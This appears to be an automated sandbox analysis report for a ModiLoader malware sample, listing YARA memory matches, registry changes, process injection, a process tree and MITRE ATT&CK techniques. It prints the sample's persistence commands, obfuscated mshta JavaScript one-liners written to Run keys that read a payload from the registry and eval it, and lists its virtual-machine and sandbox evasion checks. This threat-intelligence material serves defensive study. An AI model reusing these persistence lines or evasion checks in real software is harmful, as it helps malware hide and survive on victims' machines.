modiloader | 4fec9db0d4388507cee38ac98f1bbe0961fa4a7c11c683aebc0a870b1084504d

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 41 IoCs

resource	yara_rule
behavioral1/memory/2020-4-0x0000000000400000-0x000000000046E000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-7-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-6-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-10-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-8-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-12-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2020-18-0x0000000000400000-0x000000000046E000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-25-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-24-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-23-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-22-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-21-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2352-26-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-36-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-38-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-37-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-39-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-41-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-40-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-42-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-44-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-43-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-48-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-47-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-46-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-45-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-50-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-49-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-54-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-59-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-58-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-57-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-56-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2536-55-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-60-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/2676-61-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-69-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-68-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-67-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-66-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-65-0x0000000000190000-0x000000000025C000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Ub4UG4Ys=\"MUhtp\";C6k=new%20ActiveXObject(\"WScript.Shell\");Ep2cHduN=\"f\";N1LV7r=C6k.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c07b2a1b9b\\\\59f1aa37\");APEe4a0K=\"FwVRS\";eval(N1LV7r);gk2khQ3Ft=\"n4mielrlP\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
2676	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Vix5zgCTU=\"vaTt9\";x0O=new%20ActiveXObject(\"WScript.Shell\");kEP9Q2Zf=\"bAaTKdYt\";L1IGo=x0O.RegRead(\"HKCU\\\\software\\\\c07b2a1b9b\\\\59f1aa37\");KQ1EPoi=\"gs\";eval(L1IGo);kx2rIo8hr=\"n8gblg49\";"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:nQ92GHQoXp=\"8N87KG01al\";KJ57=new%20ActiveXObject(\"WScript.Shell\");VB9m6upj=\"mgM2AVM4On\";amSP5=KJ57.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c07b2a1b9b\\\\59f1aa37\");awTBA14mwJ=\"NySNfV2R\";eval(amSP5);G9mjtYH=\"r\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
2352	regsvr32.exe
2352	regsvr32.exe
2352	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe
2676	regsvr32.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2020 wrote to memory of 2352	2020	9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe	28
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2352 wrote to memory of 2676	2352	regsvr32.exe	29
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 2536	2676	regsvr32.exe	30
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31
PID 2676 wrote to memory of 1884	2676	regsvr32.exe	31

C:\Users\Admin\AppData\Local\Temp\9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9cb6c3818e22be770c5e598198ef9bd2_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\SysWOW64\regsvr32.exe
  regsvr32.exe
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:2536
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion